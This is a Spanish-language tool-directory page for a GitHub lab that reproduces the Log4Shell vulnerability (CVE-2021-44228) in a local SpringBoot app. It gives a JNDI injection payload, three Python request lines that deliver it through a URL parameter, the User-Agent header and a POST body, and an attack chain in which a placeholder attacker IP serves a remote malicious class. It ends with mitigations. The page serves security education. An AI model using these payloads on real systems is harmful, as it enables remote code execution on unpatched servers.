Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4j2-vuln-lab — CVE-2021-44228 (Log4Shell) campo de reproducción de vulnerabilidades | SpringBoot + Log4j2 2.14.1 | Verificación de PoC con 3 vectores de ataque | Kitploit
Herramientas/GitHubGitHub/14free/log4j2-vuln-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHub14free/log4j2-vuln-lab

log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) campo de reproducción de vulnerabilidades | SpringBoot + Log4j2 2.14.1 | Verificación de PoC con 3 vectores de ataque

Ver Repositorio
hace 19h 38mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

⚠️ Descargo de responsabilidad: Este proyecto es solo para aprendizaje de seguridad e investigación técnica. Todos los entornos de vulnerabilidad se construyen localmente y no se han probado contra objetivos reales. No lo utilice con fines ilegales. El riesgo de usar este proyecto es responsabilidad del usuario.

Laboratorio de reproducción de vulnerabilidad Log4j2 (CVE-2021-44228)

Introducción a la vulnerabilidad

Log4j2 es el framework de registro más utilizado en el ecosistema Java. Tiene una función Lookup que permite insertar contenido dinámico en los registros usando la sintaxis ${...}. En versiones 2.14.1 y anteriores, cuando el contenido del registro contiene ${jndi:...}, Log4j2 inicia automáticamente una solicitud JNDI a la dirección especificada, lo que permite a un atacante lograr la ejecución remota de código (RCE).

Esta vulnerabilidad está identificada como CVE-2021-44228, con una puntuación CVSS de 10.0 (máxima). La condición de activación es extremadamente simple, afecta a casi todas las aplicaciones Java que usan Log4j2, y el costo de explotación es muy bajo.

Configuración del entorno

Requisitos previos: JDK 8+, Maven, Python 3, biblioteca requests

Paso 1: Iniciar el laboratorio de vulnerabilidad

Abra el proyecto con IDEA y ejecute VulnApplication.java. Ver la siguiente salida indica que el inicio fue exitoso:

root@kitploit:~
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds

Paso 2: Ejecutar el script PoC

root@kitploit:~
cd exploit
pip install requests
python exploit.py

Reproducción de la vulnerabilidad

Construcción del payload

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/EvilClass}

Vector de ataque 1: Parámetro GET

Inyecte el payload a través de un parámetro de URL para activar logger.info("User Login: {}", username):

root@kitploit:~
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)

Vector de ataque 2: Cabecera User-Agent

Inyecte el payload a través de una cabecera HTTP para activar logger.info("User-Agent: {}", headers):

root@kitploit:~
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)

Vector de ataque 3: Cuerpo de solicitud POST

Inyecte el payload a través del cuerpo de una solicitud POST para activar logger.info("Data: {}", body):

root@kitploit:~
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)

Resultado de la reproducción

root@kitploit:~
[+] ¡Conexión recibida! Desde 127.0.0.1:51631
[+] ¡Vulnerabilidad confirmada! Log4j2 inició una solicitud JNDI
[+] Reproducción de CVE-2021-44228 exitosa

El extremo de escucha recibió una conexión TCP desde el laboratorio, lo que indica que Log4j2 analizó ${jndi:...} e inició una solicitud LDAP, confirmando la existencia de la vulnerabilidad.

Principio de la vulnerabilidad

Mecanismo Lookup

La función Lookup de Log4j2 permite insertar contenido dinámico en los registros usando la sintaxis ${...}, por ejemplo ${env:PATH} para leer variables de entorno, ${sys:user.dir} para leer propiedades del sistema.

Inyección JNDI

JNDI (Java Naming and Directory Interface) es la interfaz de nombres y directorios de Java. Si se le proporciona una dirección, la busca y devuelve el resultado. Si el resultado es una clase Java, la JVM la carga y ejecuta automáticamente.

Cadena de ataque completa

root@kitploit:~
① El atacante escribe en el campo de entrada: ${jndi:ldap://IP_del_atacante:1389/EvilClass}
    ↓
② El sitio web recibe la entrada y registra con logger.info()
    ↓
③ Log4j2 analiza el contenido del registro y encuentra ${jndi:ldap://...}
    ↓
④ Log4j2 inicia una solicitud LDAP → se conecta al servidor del atacante
    ↓
⑤ El servidor LDAP del atacante responde: "Descargue EvilClass.class desde esta dirección"
    ↓
⑥ El servidor víctima descarga y carga la clase EvilClass
    ↓
⑦ El bloque de código estático de EvilClass se ejecuta automáticamente → RCE (ejecución remota de código)

Soluciones

  1. Actualice la versión de Log4j2: Actualice a 2.17.1 o superior, que deshabilita la función JNDI Lookup
  2. Configure variables de entorno para deshabilitar Lookup: Agregue -Dlog4j2.formatMsgNoLookups=true a los parámetros de inicio
  3. Bloqueo con WAF: Agregue reglas en el firewall de aplicaciones web para bloquear solicitudes que contengan ${jndi:

Estructura del proyecto

root@kitploit:~
log4j2-vuln-lab/
├── pom.xml                          # Configuración de Maven, especifica la versión vulnerable Log4j2 2.14.1
├── exploit/
│   └── exploit.py                   # Script de explotación PoC, 3 vectores de ataque + verificación de escucha TCP
└── src/main/
    ├── java/com/vuln/log4j/
    │   ├── VulnApplication.java     # Clase de inicio SpringBoot
    │   └── controller/
    │       └── UserController.java  # 3 puntos de inyección de vulnerabilidad (parámetro GET/cabecera UA/cuerpo POST)
    └── resources/
        ├── application.yml          # Configuración de puerto + nivel de registro
        └── log4j2.xml               # Archivo de configuración de Log4j2
Descargar herramienta